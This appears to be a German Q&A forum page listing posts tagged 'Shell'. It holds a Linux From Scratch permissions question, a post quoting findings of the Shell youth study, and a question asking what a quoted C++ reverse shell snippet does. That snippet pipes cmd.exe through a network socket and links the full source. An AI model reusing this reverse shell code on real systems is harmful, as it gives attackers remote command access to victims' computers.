Shell – die besten Beiträge

Linux from Scratch 12.1 - Verschieben der "undocumented instantiation" von etc/bash.bashrc als root funktioniert nicht?

Moin Leute,

hoffe, das Thema passt in dieses Subforum hier. Falls nicht, bitte verschieben.

Ich bin gerade dabei, mir mit Linux From Scratch eine eigene Distro zu bauen und bin jetzt auf ein Problem gestoßen. Hoffe, jemand kennt sich hier damit aus und kann mir weiterhelfen.

Im aktuellen Stable LFS Book 12.1 wird in Kapitel 4.4 steht folgende wichtige Info:

"Several commercial distributions add an undocumented instantiation of /etc/bash.bashrc to the initialization of bash. This file has the potential to modify the lfs user's environment in ways that can affect the building of critical LFS packages. To make sure the lfs user's environment is clean, check for the presence of /etc/bash.bashrc and, if present, move it out of the way."

deutsch:

"Einige kommerzielle Distributionen fügen eine undokumentierte Instanzierung von /etc/bash.bashrc zur Initialisierung der Bash hinzu. Diese Datei kann die Umgebung des Lfs-Benutzers in einer Weise verändern, die die Erstellung wichtiger LFS-Pakete beeinträchtigen kann. Um sicherzustellen, dass die Umgebung des Lfs-Benutzers sauber ist, überprüfen Sie, ob /etc/bash.bashrc vorhanden ist, und entfernen Sie sie, falls sie vorhanden ist, aus dem Weg."

Man soll dort also als root den folgenden Befehl ausführen:

"[ ! -e /etc/bash.bashrc ] || mv -v /etc/bash.bashrc /etc/bash.bashrc.NOUSE"

Jetzt zu meinem Problem. Wenn ich den Befehl mit sudo eingebe, bekomme ich folgende Fehlermeldung ausgegeben:

"lfs is not in the sudoers file. This incident will be reported.

mv: cannot move '/etc/bash.bashrc' to '/etc/bash.bashrc.NOUSE': Permission denied"

Wenn ich den Befehl ohne sudo eingebe, bekomme ich die gleiche Fehlermeldung wie oben, nur ohne den "lfs is not in the sudoers[...]" Fehler.

Jetzt habe ich halt das Problem, dass ich so nicht weiterkomme. Habe schonmal ein bisschen gegoogelt, aber da stand nur, ich solle mal die Besitzer meiner Verzeichnisse prüfen. Die sind aber alle auf den erstellten LFS-Benutzer gesetzt.

Als root kann ich mich in dem erstellten LFS-System nicht anmelden, da er dann ein Passwort verlangt, obwohl ich für root eigentlich kein spezielles Passwort festgelegt habe. Das Passwort vom LFS-Benutzer funktioniert hier auch nicht, da ich dann den Fehler "Authentication failure" bekomme.

Weiß jemand, was ich da tun kann und wie ich den LFS-Benutzer in die "sudoer file" integrieren kann, falls das notwendig ist? Oder wie kann ich da weitermachen? Übersehe ich vielleicht auch etwas oder stelle ich mich doof an?

Habe nebenbei auch noch die Videoreihe, die der YouTuber "marcus-s" mal darüber gemacht hat, laufen, um mir das nebenbei ein bisschen anzuschauen und es besser zu verstehen, was ich dort tue. Lese aber trotzdem weiterhin immer meine Buchversion, die ich von der LFS-Webseite habe durch und führe die Befehle von dort aus, da er eine ältere Version nutzt. Und da ist zum Beispiel diese Info von oben noch gar nicht enthalten, die Videos helfen mir da also nicht weiter.

Hoffentlich kann mir jemand von euch helfen.

Linux, Bash, Error, Root, Shell, Terminal, Fehlermeldung, sudo, Linux-Distribution

Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)

Meinung des Tages: Jugendliche haben mehr Angst vor Krieg – teilt Ihr diese, bzw. andere der aufgeführten Sorgen?

Junge Menschen haben zunehmend mehr Angst vor einem Krieg in Deutschland, das zeigt die neue Shell-Studie. Trotzdem ist der Blick in die eigene Zukunft keinesfalls negativ – eine Mehrheit der Befragten blickt dieser zuversichtlich entgegen. 

Das ist die Shell-Studie 

Die Shell-Studie befragt junge Menschen im Alter von 12 bis 25 Jahren und thematisiert dabei Themenfelder, die die Gesellschaft bewegen. In der neusten Studie wurden 2.509 junge Menschen befragt. Zentral waren dabei etwa Themen wie Familie, Freunde, Politik und aktuelle Weltgeschehnisse und -konflikte. 

Die Ergebnisse 

81 Prozent der Befragten gaben an, dass die Angst vor einem Krieg in Europa gegenwärtig ist. Zum Vergleich: Im Jahr 2019 waren es „nur“ 46 Prozent. 

Aber auch die Angst vor Armut scheint zuzunehmen – 67 Prozent gaben an, dass sie dies beschäftigt (2019: 52 Prozent). Platz drei im Ranking wird doppelt belegt: 64 Prozent sorgen sich vor der Umweltverschmutzung – ein Rückgang zu 2019, hier waren es noch 71 Prozent, aber auch 64 Prozent fürchten, dass es zunehmend zu einer wachsenden Feindseligkeit zwischen Menschen kommen kann (2019: 56 Prozent). Häufig genannt wurde auch die Angst vor Ausländerfeindlichkeit (58 Prozent), gefolgt von der Angst vor weiterer Zuwanderung (34 Prozent). 

In den Ergebnissen zeigt sich, dass die Gewichtungen mit dem Bildungsstand korrelieren. Junge Menschen mit hohem Bildungsstand sorgen sich eher um den Klimawandel und gesellschaftlichen Zusammenhalt. Diejenigen mit mittlerer Bildungsposition fürchten vermehrt eine verschlechterte wirtschaftliche Lage, zeitgleich sind Klima und Gesellschaft für sie aber auch von Relevanz. Diejenigen mit niedrigerer Bildungsposition sorgen sich vor allem um Migration und Zuwanderung. 

Positionierungen zu aktuellem Weltgeschehen 

Der russische Angriffskrieg wird von einer Mehrheit der Befragten verurteilt (60 Prozent). Die Hälfte findet, Deutschland sollte die Ukraine weiterhin mit Waffen unterstützen, ein Viertel wiederum ist dagegen. 

Etwas unklarer ist die Position, wenn es um Israel und Palästina geht. Circa ein Drittel der jungen Menschen findet es gut, dass Deutschland sich an Israels Seite gestellt hat. Ebenso viele lehnen das allerdings auch ab. Ein Viertel ist unentschieden. In Puncto Verantwortung denkt ein Drittel, dass Deutschland Israel gegenüber eine besondere hat, ein Drittel denkt das nicht und ein Viertel ist unentschieden. 

Mehr politisches Interesse

Junge Menschen informieren und engagieren sich politisch mehr – 51 Prozent gaben an, sich aktiv über das politische Geschehen zu informieren; 2019 waren dies 36 Prozent. 
Auch sind 75 Prozent mit der Demokratie (sehr) zufrieden. 
Eine Mehrheit von 55 Prozent blickt auch trotz großer Zukunftsängste und Unsicherheiten zuversichtlich in die eigene Zukunft. 

Unsere Fragen an Euch:

  • Versteht Ihr die Sorge vor Krieg in Europa und teilt Ihr diese?
  • Was denkt Ihr über die Ergebnisse der Studie? 
  • Was müsste getan werden, um jungen Menschen ein besseres Sicherheitsgefühl zu vermitteln? 
  • Wie können junge Menschen aus bildungsferneren Schichten besser für Themen wie z.B. Klimawandel, gesellschaftlicher Zusammenhalt etc. sensibilisiert / bzw. aufgeklärt werden?

Wir freuen uns auf Eure Antworten!
Viele Grüße
Euer gutefrage Team

Bild zum Beitrag
Europa, Männer, Familie, Zukunft, Geld, Angst, Wirtschaft, Krieg, Freunde, Deutschland, Politik, Frauen, Regierung, Psychologie, CDU, Demokratie, Die Grünen, FDP, junge Menschen, Perspektive, Shell, SPD, Bildungssystem, Umweltverschmutzung, Zukunftsangst, AfD, Meinung des Tages

Meistgelesene Beiträge zum Thema Shell